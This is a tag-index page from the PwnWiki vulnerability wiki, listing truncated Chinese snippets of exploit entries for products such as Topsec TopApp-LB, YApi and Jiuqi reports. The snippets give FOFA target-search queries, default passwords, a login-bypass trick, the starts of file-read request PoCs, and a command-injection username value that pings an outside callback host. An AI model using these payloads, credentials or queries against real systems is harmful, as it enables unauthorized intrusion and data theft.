极通EWEBS casmain.xgi 任意文件读取漏洞/zh-cn
免费、自由、人人可编辑的漏洞库--pwnwiki.com , 漏洞影响 极通EWEBS FOFA app="新软科技-极通EWEBS" POC 漏洞请求包为： POST /casmain.xgi HTTP/1.1 Host: Content ...
标签：漏洞
以下是与标签“漏洞”相关联的文章
-
-
景云网络防病毒系统 未授权访问漏洞/zh-cn
免费、自由、人人可编辑的漏洞库--PwnWiki.com , FOFA title="景云网络防病毒系统" 默认口令 super super123 未授权访问 尝试使用默认口令登录，BurpSuite拦截数据包，修改状态码302为200即可 ...
-
易如意网络验证系统 1.6.x上传漏洞/zh-hant
免费、自由、人人可编辑的漏洞库--PwnWiki.com , 漏洞影响 1.6.4 默认管理员信息 admin 123456 EXP https://github.com/atsud0/eruyi1.6_exp 免费、自由、人人可编辑的漏洞 ...
-
安天追影威胁分析系统越权访问漏洞
免费、自由、人人可编辑的漏洞库--PwnWiki.com , 漏洞描述 通过修改返回包内容，可以绕过验证，直接登陆系统，可以查看到部分敏感信息. POC 访问威胁分析系统，抓包一条"/api/user/islogin"的请求，返回包的内容为 ...
-
天融信负载均衡TopApp-LB命令执行漏洞
免费、自由、人人可编辑的漏洞库--PwnWiki.com , FOFA app="天融信-TopApp-LB-负载均衡系统" 漏洞利用 账号： 1;ping 6km5dk.ceye.io;echo 密码任意 成功收到请求。 PWNWIK.C ...
-
天融信负载均衡TopApp-LB enable tool debug.php 远程命令执行漏洞/zh-cn
免费、自由、人人可编辑的漏洞库--pwnwiki.com , FOFA app="天融信-TopApp-LB-负载均衡系统" Payload 设置var=0，tool=1，再进行命令拼接造成远程命令执行: /acc/tools/enable ...
-
久其财务报表 download.jsp 任意文件读取漏洞
免费、自由、人人可编辑的漏洞库--pwnwiki.com , FOFA body="/netrep/" 漏洞利用 发送以下请求： POST /netrep/ebook/browse/download.jsp HTTP/1.1 Host: C ...
-
中国移动 禹路由 simple-index.asp 越权访问漏洞
免费、自由、人人可编辑的漏洞库--PwnWiki.com , This page contains changes which are not marked for translation. FOFA app="中移铁通-禹路由" Payl ...
-
YouDiancms延时注入漏洞
免费、自由、人人可编辑的漏洞库--PwnWiki.com , FOFA icon_hash="1728964041" 漏洞影响 YouDiancms Payload GET /index.php/Channel/voteAdd HTTP/1 ...
-
YApi 未授权用户创建&Mock远程命令执行漏洞
免费、自由、人人可编辑的漏洞库--pwnwiki.com , This page contains changes which are not marked for translation. 该漏洞已通过验证 本页面的EXP/POC/Pay ...